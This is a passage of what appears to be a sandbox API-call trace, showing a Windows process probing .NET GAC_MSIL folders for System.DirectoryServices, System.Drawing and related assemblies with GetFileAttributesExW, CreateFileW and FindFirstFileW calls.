	[0088.785] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Diagnostics.Tracing" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.diagnostics.tracing"), fInfoLevelId=0x0, lpFileInformation=0x123fc508 | out: lpFileInformation=0x123fc508*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9da03a0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9da03a0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9da03a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.785] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Diagnostics.Tracing" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.diagnostics.tracing"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.785] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Diagnostics.Tracing\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9da03a0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc9da03a0, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc9da03a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.785] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.785] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Diagnostics.Tracing\\v4.0_4.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.diagnostics.tracing\\v4.0_4.0.0.0__b03f5f7f11d50a3a"), fInfoLevelId=0x0, lpFileInformation=0x123fc5a8 | out: lpFileInformation=0x123fc5a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9da03a0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x62317700, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x62317700, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.785] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Diagnostics.Tracing\\v4.0_4.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.diagnostics.tracing\\v4.0_4.0.0.0__b03f5f7f11d50a3a"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.785] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Diagnostics.Tracing\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc9da03a0, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x62317700, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x62317700, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.786] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.786] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Diagnostics.Tracing\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\System.Diagnostics.Tracing.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.diagnostics.tracing\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\system.diagnostics.tracing.dll"), fInfoLevelId=0x0, lpFileInformation=0x123fc648 | out: lpFileInformation=0x123fc648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x62317700, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x74f8)) returned 1
	[0088.786] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.DirectoryServices" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.directoryservices"), fInfoLevelId=0x0, lpFileInformation=0x123fc698 | out: lpFileInformation=0x123fc698*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x936a9a40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x936a9a40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x936a9a40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.786] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.DirectoryServices" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.directoryservices"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.787] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.DirectoryServices\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x936a9a40, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x936a9a40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x936a9a40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.787] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.787] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.DirectoryServices\\v4.0_4.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.directoryservices\\v4.0_4.0.0.0__b03f5f7f11d50a3a"), fInfoLevelId=0x0, lpFileInformation=0x123fc738 | out: lpFileInformation=0x123fc738*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x936838e0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x6723d280, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x6723d280, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.787] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.DirectoryServices\\v4.0_4.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.directoryservices\\v4.0_4.0.0.0__b03f5f7f11d50a3a"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.787] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.DirectoryServices\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x936838e0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x6723d280, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x6723d280, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.787] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.787] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.DirectoryServices\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\System.DirectoryServices.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.directoryservices\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\system.directoryservices.dll"), fInfoLevelId=0x0, lpFileInformation=0x123fc7d8 | out: lpFileInformation=0x123fc7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6723d280, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x670e8)) returned 1
	[0088.787] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.DirectoryServices.AccountManagement" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.directoryservices.accountmanagement"), fInfoLevelId=0x0, lpFileInformation=0x123fc828 | out: lpFileInformation=0x123fc828*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x936cfba0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x936cfba0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x936cfba0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.788] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.DirectoryServices.AccountManagement" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.directoryservices.accountmanagement"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.788] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.DirectoryServices.AccountManagement\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x936cfba0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x936cfba0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x936cfba0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.788] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.788] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.DirectoryServices.AccountManagement\\v4.0_4.0.0.0__b77a5c561934e089" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.directoryservices.accountmanagement\\v4.0_4.0.0.0__b77a5c561934e089"), fInfoLevelId=0x0, lpFileInformation=0x123fc8c8 | out: lpFileInformation=0x123fc8c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x936cfba0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x6233d860, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x6233d860, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.788] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.DirectoryServices.AccountManagement\\v4.0_4.0.0.0__b77a5c561934e089" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.directoryservices.accountmanagement\\v4.0_4.0.0.0__b77a5c561934e089"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.788] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.DirectoryServices.AccountManagement\\v4.0_4.0.0.0__b77a5c561934e089\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x936cfba0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x6233d860, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x6233d860, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.788] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.788] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.DirectoryServices.AccountManagement\\v4.0_4.0.0.0__b77a5c561934e089\\System.DirectoryServices.AccountManagement.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.directoryservices.accountmanagement\\v4.0_4.0.0.0__b77a5c561934e089\\system.directoryservices.accountmanagement.dll"), fInfoLevelId=0x0, lpFileInformation=0x123fc968 | out: lpFileInformation=0x123fc968*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6233d860, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x47f30)) returned 1
	[0088.788] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.DirectoryServices.Protocols" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.directoryservices.protocols"), fInfoLevelId=0x0, lpFileInformation=0x123fc9b8 | out: lpFileInformation=0x123fc9b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9371be60, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x9371be60, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x9371be60, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.789] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.DirectoryServices.Protocols" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.directoryservices.protocols"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.789] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.DirectoryServices.Protocols\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9371be60, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x9371be60, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x9371be60, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.789] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.789] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.DirectoryServices.Protocols\\v4.0_4.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.directoryservices.protocols\\v4.0_4.0.0.0__b03f5f7f11d50a3a"), fInfoLevelId=0x0, lpFileInformation=0x123fca58 | out: lpFileInformation=0x123fca58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x936f5d00, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x672d5800, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x672d5800, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.789] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.DirectoryServices.Protocols\\v4.0_4.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.directoryservices.protocols\\v4.0_4.0.0.0__b03f5f7f11d50a3a"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.789] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.DirectoryServices.Protocols\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x936f5d00, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x672d5800, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x672d5800, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.789] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.789] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.DirectoryServices.Protocols\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\System.DirectoryServices.Protocols.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.directoryservices.protocols\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\system.directoryservices.protocols.dll"), fInfoLevelId=0x0, lpFileInformation=0x123fcaf8 | out: lpFileInformation=0x123fcaf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x672d5800, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x31328)) returned 1
	[0088.790] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Drawing" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.drawing"), fInfoLevelId=0x0, lpFileInformation=0x123fcb48 | out: lpFileInformation=0x123fcb48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x937b43e0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x937b43e0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x937b43e0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.790] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Drawing" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.drawing"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.790] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Drawing\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x937b43e0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x937b43e0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x937b43e0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.790] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.790] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Drawing\\v4.0_4.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.drawing\\v4.0_4.0.0.0__b03f5f7f11d50a3a"), fInfoLevelId=0x0, lpFileInformation=0x123fcbe8 | out: lpFileInformation=0x123fcbe8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x937b43e0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x67a6be20, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x67a6be20, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.790] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Drawing\\v4.0_4.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.drawing\\v4.0_4.0.0.0__b03f5f7f11d50a3a"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.790] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Drawing\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x937b43e0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x67a6be20, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x67a6be20, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.790] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.791] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Drawing\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\System.Drawing.dll" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.drawing\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\system.drawing.dll"), fInfoLevelId=0x0, lpFileInformation=0x123fcc88 | out: lpFileInformation=0x123fcc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x67a6be20, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x912b0)) returned 1
	[0088.791] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Drawing.Design" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.drawing.design"), fInfoLevelId=0x0, lpFileInformation=0x123fccd8 | out: lpFileInformation=0x123fccd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa4a07920, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xa4a07920, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa4a07920, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.791] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Drawing.Design" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.drawing.design"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.791] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Drawing.Design\\*", lpFindFileData=0x124e78b4 | out: lpFindFileData=0x124e78b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa4a07920, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xa4a07920, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa4a07920, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.791] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
	[0088.791] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Drawing.Design\\v4.0_4.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.drawing.design\\v4.0_4.0.0.0__b03f5f7f11d50a3a"), fInfoLevelId=0x0, lpFileInformation=0x123fcd78 | out: lpFileInformation=0x123fcd78*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa4a07920, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x6793b320, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x6793b320, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0088.791] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Drawing.Design\\v4.0_4.0.0.0__b03f5f7f11d50a3a" (normalized: "c:\\windows\\microsoft.net\\assembly\\gac_msil\\system.drawing.design\\v4.0_4.0.0.0__b03f5f7f11d50a3a"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0088.791] FindFirstFileW (in: lpFileName="C:\\Windows\\Microsoft.NET\\assembly\\GAC_MSIL\\System.Drawing.Design\\v4.0_4.0.0.0__b03f5f7f11d50a3a\\*", lpFindFileData=0x124e7850 | out: lpFindFileData=0x124e7850*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa4a07920, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x6793b320, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x6793b320, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7ebae8
	[0088.791] FindClose (in: hFindFile=0x7ebae8 | out: hFindFile=0x7ebae8) returned 1
